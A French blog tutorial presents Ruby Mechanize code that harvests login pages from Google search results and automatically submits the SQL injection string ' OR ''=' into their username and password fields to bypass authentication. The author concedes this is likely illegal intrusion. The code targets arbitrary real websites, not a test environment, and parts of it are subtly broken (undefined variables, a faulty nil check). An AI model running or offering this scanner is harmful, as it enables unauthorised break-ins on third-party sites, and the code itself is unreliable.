tuto – ruby – injection SQL

Ruby peut tout faire sur internet, ca je le sais, et peut être que vous aussi. Une idée intéressante serait de coder un truc en ruby qui détecte les sites vulnérables aux injections SQL (par contre renseignez vous sur la législation en vigueur chez vous car c’est illégale à priori (du genre chef d’accusation : intrusion illicite …). Pour ceux qui ne le savent, l’injection SQL consiste à bypasser des formulaires et à s’introduire frauduleusement dans un système. Réussir à passer une formulaire de login/mot de passe sans avoir les données adéquates par exemple.

 

Le code ci-dessous créer une instance mechanize, va sur l’url de google avec le requête « cuisine inurl:/login ». On récupère dans un tableau les url des liens de chaque résultat des serps. J’ai choisis le terme cuisine arbitrairement, vous pouvez choisir ce que vous voulez.

     require 'mechanize'

     @agent = Mechanize.new do |a|
         a.user_agent_alias = 'Linux Firefox'
         a.max_history = 1
     end

     query = 'cuisine inurl:"/login"' 
     formated_query = CGI.escape(query)
     page = @agent.get 'http://www.google.fr/search?q=' <<  formated_query 

     formated_tab = []
     page.parser.xpath('//h3[@class="r"]').take(10).each do |cite|
        formated_tab << URI::extract( cite.to_s, [ 'http' ] )#cite.inner_text
      end

 

Concernant les opérateurs avancés google, tel que inurl, vous pouvez vous référer à la page ici pour plus d’infos. Une fois qu’on a notre liste d’url, on va pour chacune tester s’il y a un formulaire de login dessus (voir le billet suivant pour une intro à la vérification des formulaires sur une page web : http://www.tuto-ruby-gratuit.fr/tuto-ruby-webform/).

formated_tab.each do |url|
    begin
       login_page = @agent.get(url)
       if not login_page.nil? && login_page.forms.length > 0 # si la page est accessible et qu'il y a au moins un formulaire
            login_page.forms.each { |form| 
              form.fields.each { |f| 
                if f.name == "login" or f.name == "username"
                  form[name] = "' OR ''='"                    
                end                
                if f.name == "password" or f.name == "pwd"
                  form[name] = "' OR ''='"
                end
             }
                res = form.submit
         }
       end
    rescue Mechanize::ResponseCodeError
       raise e
    end
end

 

Je vous préviens, à priori, avec ce caractère magique ' OR ''=', vous aurez peu de chance de trouver des sites encore vulnérables, car c’est une faille très ancienne. Voici le site d’où elle est tirée :  http://sqlzoo.net/hack/.

Voici d’autres sites avec des exemples d’injections SQL standards :

http://www.unixwiz.net/techtips/sql-injection.html

http://bases-hacking.org/sql-injection.html

http://php.net/manual/fr/security.database.sql-injection.php

http://adsltele.free.fr/tutoriel-injection-sql.php

 

Amusez vous bien et pas de bétises surtout !